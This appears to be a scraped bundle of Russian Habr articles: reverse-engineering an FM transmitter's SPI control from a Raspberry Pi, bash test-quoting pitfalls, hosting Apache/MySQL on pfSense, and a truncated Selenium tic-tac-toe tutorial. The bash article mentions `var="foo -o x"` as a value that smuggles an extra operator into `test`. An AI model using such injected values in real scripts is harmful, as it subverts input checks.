У нас не было желания строить собственный велосипед из fm-вещателя и усилителя, поэтому мы решили отыскать готовую систему и немного её "подпилить" под себя. Интернет-разведка привела нас к китайской компании CZERF, занимающейся беспроводными технологиями. В ассортименте продуктов, выпускаемой данной компанией, было обнаружено интересное устройство — fm-трансмиттер на 7 ватт с кнопочным управлением (2 кнопки на выставление частоты ▲/▼ и кнопка питания) и audio-jack'ом — [CZERF-7C](https://aliexpress.ru/item/1005001499071696.html) (официальный сайт кидается 500 ошибкой). Такая мощность позволила бы в десятки раз увеличить дальность в условиях улицы. Задача сводилась к связыванию проприетарного прибора малоизвестной китайской компании с RPi.
После получения прибора на руки, сразу же его разобрали и приступили к поверхностному анализу основной платы. За несколько минут с помощью мультиметра удалось установить связь между дорожками кнопок и микроконтроллером, связывающего дисплей, кнопки и радиомодуль воедино на этом устройстве:
*Внутренности прибора (1 — радиомодуль, 2 — микроконтроллер)*
### +RPi Relay Board
Под рукой уже был разогретый Raspberry PI с "Уровня 0", поэтому мы пришли к идее имитации нажатий на кнопки устройства с помощью [GPIO-реле](https://www.chipdip.ru/product/rpi-relay-board). Это реле предоставляло очень удобный интерфейс управления — достаточно насадить реле на GPIO-шину RPi, после чего посылать сигнал на один из пинов GPIO Raspberry, как нужное реле замыкает цепь подобно оригинальной кнопке:
```
RPi.GPIO.output(RELAY_PIN, RPi.GPIO.HIGH)
time.sleep(0.03) # минимальное удерживания кнопки, которое воспринимает контроллер
RPi.GPIO.output(RELAY_PIN, RPi.GPIO.LOW)
time.sleep(0.03)
```
Потребовалась серьезная переработка веб-приложения (без изменения HTTP-интерфейса): теперь при вызове `/setfreq`(установка частоты) нужно было запускать фоновую задачу по "нащелкиванию" нужной частоты, а при вызове `/start`(запуск проигрывания) — дожидаться выставления частоты и запускать фоновое аудио, которое бы по audio-jack уходило бы с RPi в радиомодуль (до этого аудио-сэмплы читались из файла без непосредственного проигрывания на RPi).
За дальность вещания пришлось расплатиться скоростью выставления частоты — за одну имитацию нажатия на управляющие кнопки происходило изменение частоты на 0.1Mhz. Если, например, нужно с частоты 90Mhz переключиться на 105Mhz, потребовалось бы ждать `(105-90)*10*(0.03*2)=9` секунд. Вдобавок к этому появилось щелканье реле на протяжении всего времени переключения частоты и необходимость запоминания частоты программно, так как из кода не было никакой связи с реальной("железной") частотой на устройстве.
Но тем не менее самой большой проблемой оказалось другое — наводки. 7-ваттная антенна fm-вещателя оказывала на реле крайне негативное воздействие: в какие-то редкие моменты могли происходить случайные переключения частоты вверх или вниз из-за наводок. С учетом отсутствия обратной связи с реальной частотой на устройстве, код мог "думать", что нужная частота "нащелкана", когда на самом деле нет.
С этого момента наводки, как и паяльник, сопровождали нас до заключительной стадии проекта.
*Управление прибором с RPi Relay Board*
### -RPi Relay Board + Оптроны
Было решено начать избавляться от кома образовавшихся проблем постепенно и методично. Начали с того, что к текущему моменту надоело больше всего — с устранения треска реле.
Мы отыскали несколько элементов, функции которых аналогичны реле:
* [твердотельное реле](https://ru.wikipedia.org/wiki/%D0%A2%D0%B2%D0%B5%D1%80%D0%B4%D0%BE%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%80%D0%B5%D0%BB%D0%B5)
* [оптрон](https://ru.wikipedia.org/wiki/%D0%9E%D0%BF%D1%82%D1%80%D0%BE%D0%BD)
Твердотельное реле с интерфейсом, подобным RPi Relay Board, найти не получилось. Стало понятно, что так или иначе придется мастерить собственную схему управления, поэтому оптрон оказался самым подходящим решением: "тихий", компактный, дешевый и легкодоступный. Принцип его работы крайне прост: при подаче тока на светодиод открывается выходной транзистор и замыкает ножки 4 и 3 для протекания тока в цепи.
Набросали макет платы с 2 кнопками (кнопки частоты) на базе оптронов для замены реле:
*Схема управления v0*
И достаточно быстро спаяли нулевую версию схемы на проводах:
*Схема управления v0: реализация*
Наводки на переключение никуда не делись, но зато переключение частоты теперь происходит беззвучно. В этот момент работа казалась практически завершенной, однако настоящее приключение только начиналось.
### +Плата v1 + Экранированный провод + 3d-каркас
Наводки были последней крупной проблемой. На этом этапе не было никаких сомнений, что провода есть основной субъект наводок. Поэтому все силы были брошены на разработку полноценной платы управления, которая схематично была практически аналогична "схеме на проводах". В схему платы лишь было добавлено управление кнопкой питания fm-трансмиттера (тоже через оптрон), чтобы можно было управлять fm-вещанием с помощью веб-приложения на RPi (эндпоинт `/start`).
Схема первой версии платы получилась такая:
*Схема управления v1*
Проектировалась плата в пакете [DipTrace](https://diptrace.com/rus/). На выходе эта программа создает файл в формате `.dip`, который можно прямиком отдавать большинству производителей печатных плат под заказ. Мы заказали печать у компании [Резонит](https://www.rezonit.ru/) и получили готовую плату уже через день:
*Плата управления v1*
Эта плата по нашим ожиданиям должна была устранить влияние помех. Для еще большей защиты от помех мы соорудили экранированный провод от этой платы до управляющих пинов RPi на основе кабеля типа CCC-4G.
Плата проектировалась с учетом возможности размещения внутри корпуса устройства "вторым этажом", который бы управлял "первым этажом", где располагался контроллер:
*"Второй этаж" для перехвата управления с первого*
А для удобства эксплуатации этой системы управления радиовещанием мы решили спроектировать и распечатать корпус на 3d-принтере. Он получился у нас двухкомпонентный:
* Внешняя оболочка + крышка с отверстием для антенны
* Внутренний скелет для плотного размещения элементов системы в оболочке
Внутренний каркас и внешнюю оболочку можно было бы распечатать монолитной деталью, однако в таком случае резко возрастало бы время печати — до трех суток. Заказав детали раздельно, получилось распечатать все за сутки:
*Мобильный fm-вещатель в собранном виде*
В итоге, запустив стресс-тест на несколько тысяч итераций переключения, мы словили по его завершению несоответствие программной частоты с той, что была реально выставлена на устройстве. Дальнейший разбор показал, что теперь частота переключалась не всегда.
### +Оптрон управления вещанием — Плата v1 + Плата v2
Наводки, провоцирующие произвольное переключение частоты, ушли с переходом на плату, но появились другие — теперь частота переключалась не всегда, когда было нужно в ходе вещания.
Провели командный брейншторм, общий посыл которого был таков: "нужно найти способ устранения наводок, не требующий еще большего углубления в радиотехнику". Идеальным вариантом было бы обойтись уже полученными в ходе проделанной работы знаниями. И такой способ нашелся. Мы вспомнили, что к микроконтроллеру, связывающему кнопки и дисплей с радиомодулем, ведут целых 10 ножек, в то время, как мы знали назначение только 5 из них (3 кнопки, земля и питание) Управлять любой другой из них через оптрон — уже знакомый нам способ. Одна из ножек наверняка должна отвечать за питание самого радиомодуля, ответственного за вещание. Достали мультиметр и быстро вычислили эту ножку. Оказалось, можно, не отключая питание всего устройства, включать/выключать только вещание, когда это нужно. А значит у нас появилась возможность выставлять частоту до активного вещания, что позволит избавиться от остаточных наводок "непереключения". После пары экспериментов выяснилось, что память(текущая fm-частота) находится в микроконтроллере, а не в радиомодуле, поэтому, отключая питание радиомодуля, мы можем спокойно "нащелкать" нужную частоту на контроллере, после чего уже итоговая частота будет отправлена в радиомодуль.
Мы модифицировали первую версию платы, впаяв недостающий оптрон прямо на пластину платы, чтобы быстро провести тесты и оценить влияние наводок:
*Плата управления v1.5*
Испытания показали, что наводка на выставление частоты пропала, однако появилась наводка на кнопку питания устройства. Проявлялась она достаточно интересным образом: при имитации нажатия на кнопку питания, прибор включался на мгновение и затем сразу же выключался. Избавиться от этого негативного эффекта получилось с помощью подбора времени замыкания (удерживания) кнопки питания в 0.05 секунд — за такое время наводка не успевала оказывать эффект.
Отказаться от управления кнопкой питания, оставив только управление вещанием, нельзя: при подаче питания на радиомодуль через оптрон вещание не начнется до тех пор, пока микроконтроллер не отправит какую-нибудь команду в радиомодуль, а отправка происходит либо при смене частоты (которую нельзя менять в ходе вещания) либо при "перезагрузке". Перезагрузка же — это быстрое включение и выключение устройства путем имитации нажатия на кнопку питания.
Избавиться от сомнительного таймаута на удерживание кнопки помог фильтрующий конденсатор, который позволил "срезать" наводку на кнопке питания. После этого стресс-тест на несколько тысяч итераций переключения прошел успешно, и мы спроектировали вторую версию платы с дополнительным оптроном, управляющим вещанием:
*Схема управления v2*
И заказали ее у производителя:
*Плата управления v2 + фильтрующие конденсаторы на всех кнопках*
Finale: -кнопочное управление
-----------------------------
К этому моменту устройство было уже существенно модифицировано: все его кнопки управлялись программно с RPi и даже была добавлена дополнительная "кнопка" на управление вещанием. Проект бы можно было считать завершенным, но ненадежный способ переключения частоты не давал покоя: было медленно, оставался риск возвращения наводок.
Мы обратили внимание, что наводки влияют только на те элементы, на пути которых встречаются кнопки. Так, на включение/выключение вещания, которым управлял только наш оптрон, наводки не влияли.
В итоге было решено окончательно погрязнуть в азах радиоэлектроники, чтобы стабилизировать работу устройства, отказаться от "нащелкивания" частоты и окунуться в мир hardware-reversing'а.
Уровень 2: Железный хакинг
==========================
> Самая надежная деталь — та, которой нет.
Набив шишек на предыдущих этапах, захотелось разобраться, как же работает наше устройство на более низком уровне. Интерфейс кнопок оказался слишком проблемным, а чутье подсказывало, что кнопки — это лишь интерфейс пользователя для некоторого низкоуровневого интерфейса. Оставалось лишь найти этот низкоуровневый интерфейс.
### +Осциллограф
Так как устройство CZERF-7C является проприетарным (мануала по внутренней работе платы найти нигде не удалось), пришлось выковыривать информацию о его работе самостоятельно.
К текущему моменту у нас остались неизвестными 4 ножки платы микроконтроллера. Настало время разобраться, что на них происходит при переключении частоты.
Для этого одного мультиметра уже будет недостаточно. Подключимся поочередно щупами осциллографа к неизвестным ножкам (землю осциллографа нужно подключить к земле самого устройства) и будем зажимать кнопки переключения частоты вверх или вниз, чтобы инициализировать обмен данными между микроконтроллером и радиомодулем.
Сразу же натыкаемся на уже известную нам проблему наводок — но теперь на осциллогаф. Пришлось приобрести экранирующую медную сетку и замотать в неё антенну fm-трансмиттера в ходе исследования сигнала осциллографом.
На ножке №1 никакой активности нет, на остальных же получилось засечь сигналы, которые посылает микроконтроллер в радиомодуль сразу же после нажатия на кнопки выставления частоты.
*Анализ пинов 2 и 3*
*Анализ пинов 3 и 4*
Захваченные сигналы возникают синхронно по времени, что очень похоже на некий протокол. Хоть устройство CZERF-7C и является проприетарным, отдельные его части открыты. Так, микроконтроллер, который управлял радиомодулем этого устройства, оказался программируемым STC11F02E с публичным datasheet, на основе которого получилось установить протокол — [SPI](https://ru.wikipedia.org/wiki/Serial_Peripheral_Interface). Это и есть искомый низкоуровневый интерфейс.
### +SPI
Кратко SPI работает так:
* Есть 3 линии данных — CS, MOSI и CLK.
* MOSI (master out slave in) — линия передачи данных от управляющего устройства к контролируемому (в нашем случае — от контроллера в радиомодуль)
* CLK (clock) — линия передачи синхроимпульсов, которые говорят приемнику SPI, в какой момент делать считывание данных на линии MOSI. Данные могут считывается по переднему или заднему фронту импульса (а иногда и по обоим фронтам одновременно).
* CS (chip select) — на этой линии выставляется низкий или высокий уровень, который говорит приемнику SPI(в нашем случае это радиомодуль), что пока выставлен уровень, будет происходить передача данных на линии MOSI и передача синхроимпульсов на линии CLK. Обычно разрешающим сигналом для CS является низкий уровень, а здесь используется высокий уровень. Дальше будет понятно, почему разработчики этого устройства так сделали.
* Есть 4 режима работы, определяющих фронт считывания данных с CLK
В этом устройстве считывание происходит по переднему фронту (`Mode 0`). В посылке можно увидеть, что данные меняются по заднему фронту, значит задний фронт не используется для считывания данных — по протоколу **данные не могут меняться при считывающем фронте**. Лучше всего это видно на этом захвате сигнала:
*Анализ режима работы SPI*
Зеленый сигнал(внизу) — это MOSI, желтый(вверху) — CLK. Исходя из этого, можно установить назначение оставшихся 3 из 4 ножек: ножка 2 — это CS, 3 — CLK, 4 — MOSI.
### +Декодирование "трафика"
Перехватим несколько посылок с разными заведомо известными частотами:
* 102.6Mhz
* 102.4Mhz
* 92.9Mhz
Всего в посылке передается 16 бит. Можно заметить, что у этих сообщений не меняется хвостовая чаcть — последние 5 бит = `10010`
Скорее всего это команда, которая устанавливает частоту, а данные передаются в первых 11 битах. Рассмотрим первые 11 бит двух соседних частот: 102.4Mhz и 102.6Mhz.
* 102.4 Мгц
* 102.6 Мгц
Можно заметить что разница есть только в одном бите, что идет в самом начале последовательности — скорее всего здесь находятся младшие биты значения частоты, ведь мы сравниваем соседние частоты. Попробуем переписать эту битовую последовательность в обратном порядке, справа налево:
* **102.4**: `10000000000`
* **102.6**: `10000000010`
Поигравшись с различными системами исчисления, удалось быстро выявить корреляцию реальной частоты с передаваемыми данными. Лучше всего это видно на примере десятичной системы:
* **102.4**: `1024`
* **102.6**: `1026`
Для контроля, убеждаемся, что 92.9 — это 929: `reverse(110000101110) = 011101000011 = 929`.
Мы собрали достаточно информации для того, чтобы попробовать самостоятельно выставить нужную частоту новым методом. Осталось лишь "откусить" ножки CS, CLK, MOSI от головного микроконтроллера, забрав управление себе, и отладить отправку собственной посылки.
### +Arduino. Взлом частоты.
Легче всего отладка будет протекать на максимально простом устройстве (RPi плохо подходит для этих целей). Подключаем Arduino к плате CZERF-7C:
И пишем небольшой скетч, позволяющий отправить с Arduino посылку в режиме SPI:
```
#include
void setup (void)
{
// инициализация SPI контроллера на arduino
SPI.begin();
// выставление частоты работы CLK, здесь ставится максимальный делитель частоты 128.
// частота работы Arduino 16000000Гц. Значит частота синхроимпульсов будет 16000000/128 = 125000 Гц
SPI.setClockDivider(SPI\_CLOCK\_DIV128);
// установка режима работы SPI (mode 0)
SPI.setDataMode(SPI\_MODE0);
}
void loop (void)
{
// выставляем высокий уровень на CS, ножка 10
// инициализируем окно передачи сообщения по SPI
digitalWrite(SS, HIGH);
// 16-битная посылка
const unsigned int freq = 0b0000000000110010; // 102.4 Mhz
// передаем посылку (https://www.arduino.cc/en/Reference/SPITransfer)
SPI.transfer16(freq);
// выставляем низкий уровень на CS, ножка 10
// закрываем окно передачи данных по SPI
digitalWrite(SS, LOW);
// повторяем через 20 секунд
delay (20000);
}
```
Код до безобразия прост, но здесь стоит подробнее остановиться на режимах работы SPI. Для SPI есть 4 режима работы. Они отличаются фронтом считывания (передний или задний, на картинке ниже они показаны стрелками) и начиная с какого уровня стартует сигнал CLK (высокий или низкий)
Ранее мы выяснили, что CZERF-7C работает в режиме *Mode 0(CPOL = 0, CPHA = 0)*, поэтому в настройках SPI: `SPI.setDataMode(SPI_MODE0)`
Запустив скетч на Arduino, каждые 20 секунд начала устанавливаться частота 102.4Mhz. Можно поменять константу `freq`, и частота после перезагрузки скетча будет меняться на неё.
### -Arduino + Rpi
Отладив механизм отправки на Arduino, можно возвращаться к Rpi, на котором крутится веб-приложение по управлению радио. В случае с Arduino нам не требовалась гальваническая развязка в виде оптронов, так как мы сумели запитать Arduino от того же пина, от которого питается микроконтроллер CZERF-7C. Но в случае с RPi без развязки не обойтись, поэтому схема немного усложнилась:
*Схема управления v2.5*
Мы собрали эту схему "на коленке" и набросали небольшой прототип для отправки посылки с Raspberry PI, аналогичный Arduino-скетчу выше:
```
import spidev
import time
spi = spidev.SpiDev()
# device = CS
spi.open(bus=0, device=0)
spi.max_speed_hz = 2000 # минимальная частота, которую выдает RPi на SPI
spi.mode = 2 # причина смены режима описана ниже
While True:
spi.xfer2([~0x00, ~0x32]) # отправка частоты 1024
time.sleep(20)
spi.close()
```
Для организации работы через оптроны нужно поменять режим работы SPI на *Mode 2(CPOL = 1, CPHA = 0)*. Это связно с тем, что сигнал на оптронах инвертируется. По этой же причине мы по линии MOSI отправляем инвертированные значения `[~0x00, ~0x32] = 11111111 11001101` вместо `00000000 00110010`
Подсоединяем RPi к плате трансмиттера, запускаем и… ничего не работает. Снова беремся за осциллограф смотреть, какой сигнал у нас формируется после оптронов. Чтобы посмотреть сигнал, нужно снова оборачивать в экран антенну… И в этом случаем все начинает работать. Значит наводки от антенны искажают нашу SPI-посылку. Придется воспользоваться старым приемом выключения вещания для выставления частоты. Алгоритм получается следующий:
1. Выключить питание радиомодуля (вещание пропадает)
2. Включить питание радиомодуля (вещание не появляется до отправки команды)
3. Выставить частоту (вещание появляется, т.к отправляем команду в радиомодуль)
Теперь частота выставляется только в половине случаев… Здесь-то стало понятно, почему разработчики CZERF-7C выбрали нетипичную полярность CS.
### -Паразитное питание
При выключении радиомодуля, он начинал подпитываться от ножек CS, CLK, MOSI через встроенные защитные диоды. По этой причине разработчики fm-трансмиттера, все линии SPI вне посылки сообщений притягивают к низкому уровню (pull-down). У контроллера SPI в RPi линия MOSI после отправки сообщения выставлялся в низкий уровень, а так как сигнал на оптронах инвертируется — на линии MOSI радиомодуля оказывался высокий уровень, который "паразитно" подпитывал радиомодуль и не давал ему полноценно выключаться. Когда же подавалось полноценное питание на радиомодуль, он начинал сразу вещать на частоте, которую ему установили до этого и тем самым опять создавать наводки на линии SPI от RPi.
### -Аппаратный SPI + Собственная реализация SPI
Казалось бы, нужно просто выставлять MOSI в высокий уровень после каждой отправки сообщения, но это оказалось не так-то просто. Настройки SPI в RPi не позволяли этого сделать, вдобавок если линию MOSI инициализировать как обычный GPIO пин, то переставал работать аппаратный SPI до перезагрузки RPi. Самым простым и быстрым решением было самим реализовать программный SPI через прямое выставление уровней на ножках GPIO. К этому времени мы уже были экспертами по протоколу SPI:
```
def _clock(self):
RPi.GPIO.output(CLK, RPi.GPIO.HIGH)
time.sleep(0.001)
RPi.GPIO.output(CLK, RPi.GPIO.LOW)
time.sleep(0.001)
def _send(self, bits):
RPi.GPIO.output(CS, RPi.GPIO.LOW)
time.sleep(0.001)
for bit in bits:
RPi.GPIO.output(MOSI, RPi.GPIO.HIGH if bit else RPi.GPIO.LOW)
self._clock() # 500Hz
GPIO.output(CS, RPi.GPIO.HIGH)
```
Все заработало как надо, и мы были готовы делать третью версию платы управления.
### -Микроконтроллер + Плата v3
Проблемы нестабильной работой прибора в результате наводок были полностью ликвидированы. Мы знали 90% всех функций микроконтроллера, управляющего радиомодулем, а поэтому были уверены, что его можно полностью заменить своей платой с собственным софтом. Оставалось только выяснить назначение последней ножки(№1) микроконтроллера и дело в шляпе.
Функций у CZERF-7C было не так-то много, поэтому можно было применить "брутфорс", вычислив функцию последней ножки методом перебора. У этого прибора был режим настройки, в который можно было попасть, зажав кнопку power при подключении питания. В этом режиме помимо выставления границ частоты можно было задавать силу вещания: 1/7 ватт. Оказалось, что на этой ножке была логическая единица при выборе силы в 1 ватт и логический ноль при выборе 7 ватт. Можно было бы просто откусить эту ножку, и дело с концом, но мы решили добавить еще пару оптронов в финальную версию платы: для включения low(1ватт) и high(7ватт) режимов на всякий случай — места у нас теперь в корпусе прибора было предостаточно.
С учетом полноты информации, проектируем новую версию платы:
*Схема управления v3*
Теперь мы могли быстро и бесшумно выставлять частоту без хранения состояния, контролировать силу и управлять ходом вещания. Проект можно было считать завершенным. Также мы добавили светодиоды для более простой отладки:
*Финальная плата управления вместо оригинального контроллера, кнопок и дисплея*
### Finale
Hardware-reversing быстро принес свои плоды: мы сумели избавиться от всех проблем, которые привнесли предыдущие уровни. Оборачиваясь назад, сложно поверить, на что мы рассчитывали в начале, а сейчас — сложно представить развитие этой истории каким-либо иным образом.
Этот по-настоящему "венчурный" для нас проект показал, что в любой новой сфере можно разобраться за адекватное время при наличии интереса у команды, толерантности к ошибкам и открытости новым идеям. | https://habr.com/ru/post/564248/ | null | ru | null |
# О неоправданно хорошей работе [ -z $var ]
Есть такой сабреддит — [/r/nononoyes](https://www.reddit.com/r/nonononoyes/top/?sort=top&t=all), где публикуют видео, в которых происходит что-то такое, что, на первый взгляд, кажется ужасно неправильным, идущим к катастрофе. Но в конце всё, чудесным образом, заканчивается хорошо.
В том сабреддите хорошо смотрелась бы команда `[ -z $var ]`.
[](https://habr.com/ru/company/ruvds/blog/556750/)
Это — конструкция, которая используется в bash для проверки того, является ли переменная пустой. Но тут не хватает кавычек (её более правильный вариант выглядел бы как `[ -z "$var" ]`). Это, при работе с переменными, которые могут быть пустыми, часто приводит к неприятностям.
Рассмотрим обратное выражение — `[ -n $var ]`, которое проверяет переменную на то, что она является непустой. Та же проблема с кавычками делает её полностью бесполезной:
| | | |
| --- | --- | --- |
| **Входные данные** | **Ожидаемый результат** | **[ -n $var ]** |
|
```
""
```
|
```
False
```
|
```
True!
```
|
|
```
"foo"
```
|
```
True
```
|
```
True
```
|
|
```
"foo bar"
```
|
```
True
```
|
```
False!
```
|
Причиной возникновения этих проблем является комбинация разделения слов и того факта, что открывающая квадратная скобка, `[`, это не часть синтаксической конструкции командной оболочки, а всего лишь внешняя команда с необычным именем. Я уже об этом [писал](https://www.vidarholen.net/contents/blog/?p=25).
Нахождение результатов работы команды `[` зависит от количества аргументов. Значения аргументов гораздо слабее влияют на результат. Вот упрощённая выдержка из описания [POSIX-команды test](http://pubs.opengroup.org/onlinepubs/9699919799/utilities/test.html), составляя которую, я не обращал внимания на отрицание:
| | | |
| --- | --- | --- |
| **Количество аргументов** | **Действие** | **Типичный пример** |
| 0 | Возврат `False`. |
```
[ ]
```
|
| 1 | Возврат `True`, если аргумент `$1` не является пустым. |
```
[ "$var" ]
```
|
| 2 | Применение унарного оператора `$1` к `$2`. |
```
[ -x "/bin/ls" ]
```
|
| 3 | Применение бинарного оператора `$2` к `$1` и к `$3`. |
```
[ 1 -lt 2 ]
```
|
Если это учесть — становится понятным то, почему команда `[ -n $var ]` в двух случаях ведёт себя неправильно:
* Когда переменная является пустой и при этом не заключена в кавычки, она удаляется, и мы передаём команде 1 аргумент — литеральную строку `-n`. Так как `-n` не является пустой строкой — команда выдаёт `True`, а должна была бы выдать `False`.
* Когда переменная содержит `foo bar` и не заключена в кавычки, она разделяется на два аргумента, в результате мы передаём команде 3 аргумента: `-n`, `foo` и `bar`. Так как `foo` — это не бинарный оператор, результатом работы команды является `False` (с выдачей сообщения об ошибке), а, на самом деле, результатом должно быть `True`.
А теперь посмотрим на то, как работает `[ -z $var ]`:
| | | | |
| --- | --- | --- | --- |
| **Входные данные** | **Ожидаемый результат** | **[ -z $var ]** | **Команда test** |
|
```
""
```
| `True`: пустая переменная |
```
True
```
| 1 аргумент: проверка того, является ли `-z` непустой переменной |
|
```
"foo"
```
| `False`: непустая переменная |
```
False
```
| 2 аргумента: применение `-z` к `foo` |
|
```
"foo bar"
```
| `False`: непустая переменная | `False` (ошибка) | 3 аргумента: применение `foo` к `-z` и `bar` |
Эта команда выполняет совершенно неправильные и неожиданные действия, обрабатывая пустые строки и те случаи, которые расцениваются как передача нескольких аргументов. Но в обоих случаях ошибки приводят к получению правильных результатов.
Другими словами, `[ -z $var ]` работает гораздо лучше, чем этого можно ожидать.
Конечно, это не значит, что я призываю всех отказаться от кавычек. Для `"foo bar"` `[ -z $var ]` вернёт правильный код выхода, но при этом выведет некрасивое сообщение об ошибке. Для `” ”` (это — строка, в которой имеются только пробелы) вернёт `True`, хотя должна вернуть `False`, так как соответствующий аргумент удаляется так, как если бы он был пустым. Bash, кроме того, что неправильно, при попытке воспользоваться механизмом внедрения кода, пропустит конструкцию `var="foo -o x"`, так как она будет нормально воспринята командой `test`.
Какова мораль сей басни? Она такая же, как и всегда: не забывайте о кавычках. Даже тогда, когда кажется, что и без них всё работает как надо.
Утилита ShellCheck знает об этих особенностях. [Тут](http://www.shellcheck.net/?id=testz) можно проверить код, о котором мы говорили. А именно, анализируя конструкцию `[ -n $var ]`, программа разразится гневным сообщением красного цвета, а рассматривая конструкцию `[ -z $var ]` — всего лишь покажет обычное зелёное предупреждение об отсутствии кавычек.
Сталкивались ли, при работе в bash, с проблемами, связанными с кавычками?
[](https://habr.com/ru/company/ruvds/blog/557204/)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=o_neopravdanno_xoroshej_rabote___z__var_) | https://habr.com/ru/post/556750/ | null | ru | null |
# Установка FAMP на pfsense
В стандартных пакетах pfsense нет ни MySQL, ни полноценного Apache. PHP присутствует в системе по умолчанию, являясь основным языком сценариев, но отсутствуют нужные модули mysql.so и присутствуют свои pfsense.so, ssh2.so и т.д.
В отличие от FreeBSD, убраны многие стартовые скрипты и файлы конфигурации (rc.conf, rc.local), вместо них используются свои механизмы, написанные на PHP.
Pfsense представляет некую пхпэшную обертку наподобие перлового вебмина. К радости присутствует система пакеджей pkg, с помощью которой я поставлю необходимое ПО и опишу несколько фокусов, которые помогут хостить сайты на системе первоначально предназначенной быть интернет шлюзом.
Ставил все на голую систему — в любом случае не забываем делать бекап.
После установки и первоначальной настройки необходимо освободить 80 порт от lighthttp.
*System — Advanced — webConfigurator — TCP port = 88*
Вся остальная работа будет в консоли, которую включаем:
*System — Advanced — Secure Shell — Enable Secure Shell*
```
pkg install apache24 mysql56-server mod_php55 php55-mysql php55-mysqli
```
PHP желательно устанавливать именно версии 55 т. к. в системе именно она, иначе могут быть проблемы с модулями.
В системе нет rc.conf поэтому службы не стартуют.
Трюк первый: добавляем записи в */etc/defaults/rc.conf*:
```
apache24_enable="YES"
mysql_enable="YES"
```
Система при каждой загрузке чистит каталог /tmp.
Трюк два: сокет мускула кладем в */var/tmp/mysql.sock*.
Редактируем (создаем) файл */usr/local/etc/my.cnf*:
```
[client]
port = 3306
socket = /var/tmp/mysql.sock
[mysqld]
port = 3306
socket = /var/tmp/mysql.sock
skip-external-locking
key_buffer_size = 16M
max_allowed_packet = 1M
table_open_cache = 64
sort_buffer_size = 512K
net_buffer_length = 8K
read_buffer_size = 256K
read_rnd_buffer_size = 512K
myisam_sort_buffer_size = 8M
init-connect='SET NAMES utf8'
collation_server = utf8_unicode_ci
character_set_server = utf8
character_set_client = utf8
character_set_filesystem = utf8
log-bin=mysql-bin
binlog_format=mixed
server-id = 1
[mysqldump]
quick
max_allowed_packet = 16M
[mysql]
no-auto-rehash
[client]
default-character-set = utf8
[myisamchk]
key_buffer_size = 20M
sort_buffer_size = 20M
read_buffer = 2M
write_buffer = 2M
[mysqlhotcopy]
interactive-timeout
```
Php.ini генерится каждый раз заново скриптом при запуске системы.
Трюк три: редактируем */etc/rc.php\_ini\_setup*:
Перед **; Extensions**:
```
[mbstring]
mbstring.internal_encoding = UTF-8
mbstring.func_overload = 2
```
После **; Extensions** вставляем:
```
extension=mysql.so
extension=mysqli.so
```
Чтобы не выскакивали ворсинки меняем on на Off:
```
display_startup_errors=Off
display_errors=Off
```
Каталог */usr/local/etc/rc.d* не является стартовым. Чтобы службы запускались автоматом, создаем два файла */etc/rc.local* и */etc/rc.local.running*.
Трюк четыре: редактируем */etc/rc.local*:
```
/usr/sbin/service mysql-server start
/usr/sbin/service apache24 start
```
Перегружаемся и настраиваем виртуал хосты Apache по вкусу, на один из них я поставил Bitrix для последующей организации складского учета.
При установке битрикса в качестве сервера мускула указываем не localhost, а 127.0.0.1. | https://habr.com/ru/post/254847/ | null | ru | null |
# Selenium для игр: автоматизируем крестики-нолики
> *В преддверии старта курса* [*"****Java QA Automation Engineer****"*](https://otus.pw/CJph/) *делимся с вами традиционным переводом интересного материала.*
>
>
---
На тему моего стрима на этой неделе меня вдохновила демонстрация Судхарсана Селвараджа, где он [использовал Selenium для игры на виртуальном пианино](https://youtu.be/veu43DYfnSk). Я тоже хотела использовать Selenium, чтобы немного развлечь вас и себя, поэтому составила этот «рецепт», наглядно демонстрирующий, как автоматизировать игру в крестики-нолики (tic-tac-toe) онлайн!
Что особо примечательно в этом рецепте, так это то, что он выходит за рамки привычного использования Selenium для тестирования и способствует развитию навыков проектирования.
### Рецепт автоматизации игры в крестики-нолики
#### Ингредиенты
* Selenium WebDriver
* Игра крестики-нолики
#### Инструкции
1. Создайте конструкцию для представления игровых пространств
2. Создайте конструкцию для представления игрового поля и игрового поведения
3. Создайте конструкцию для представления самой игры
4. Создайте класс для выполнения игрового процесса
*- Энджи Джонс*
#### Запись стрима:
### Ингредиенты
**1. Selenium WebDriver**
Добавьте [зависимость Selenium WebDriver](https://mvnrepository.com/artifact/org.seleniumhq.selenium/selenium-java) в свой проект. Я использую `maven`, поэтому добавляю эту зависимость в свой файл pom.xml.
```
org.seleniumhq.selenium
selenium-java
4.0.0-alpha-5
```
**2. Игра крестики-нолики**
Мы будем использовать эту онлайн-игру в крестики-нолики — [Tic Tac Toe](https://playtictactoe.org/).
### Инструкция
#### 1. Создаем конструкцию для представления игровых пространств
Я создала `enum` (перечисление) для хранения пустых клеток в игре в крестики-нолики. Enum также будет содержать локаторы для каждой из этих клеток. Это позволит нам легко ссылаться на клетки на поле по мере их необходимости.
```
package tictactoe;
import org.openqa.selenium.By;
import static java.lang.String.format;
public enum Space {
TOP_LEFT("square top left"),
TOP_CENTER("square top"),
TOP_RIGHT("square top right"),
CENTER_LEFT("square left"),
CENTER_CENTER("square"),
CENTER_RIGHT("square right"),
BOTTOM_LEFT("square bottom left"),
BOTTOM_CENTER("square bottom"),
BOTTOM_RIGHT("square bottom right");
private String className;
private By locator;
Space(String className){
this.className = className;
locator = By.xpath(format("//div[@class='%s']", className));
}
public String getClassName(){
return className;
}
public By getLocator(){
return locator;
}
}
```
#### 2. Создаем конструкцию для представления игрового поля и игрового поведения
Теперь нам нужен класс, представляющий игровое поле. Этот класс будет отслеживать текущую игру, сохраняя состояние каждой из клеток поля и позволяя игроку сделать ход.
Поскольку нам нужно взаимодействовать с веб-сайтом, этому классу потребуется ChromeDriver из Selenium.
```
public class Board {
private ChromeDriver driver;
public Board(ChromeDriver driver) {
this.driver = driver;
}
}
```
Затем мне потребуется структура, которая будет представлять состояние каждой из клеток на поле, поэтому давайте создадим Map (ассоциативный массив), которая содержит каждую клетку и логическое значение, указывающее, занята ли она.
```
public class Board {
private ChromeDriver driver;
private Map spaces = new HashMap();
public Board(ChromeDriver driver) {
this.driver = driver;
}
}
```
Затем нам нужно заполнить map клетками из нашего перечисления Space и установить для всех них значение занятости false, поскольку игра еще не началась и поле пустое.
```
public class Board {
private ChromeDriver driver;
private Map spaces = new HashMap();
public Board(ChromeDriver driver) {
this.driver = driver;
Arrays.stream(Space.values()).forEach(space -> spaces.put(space, false));
}
}
```
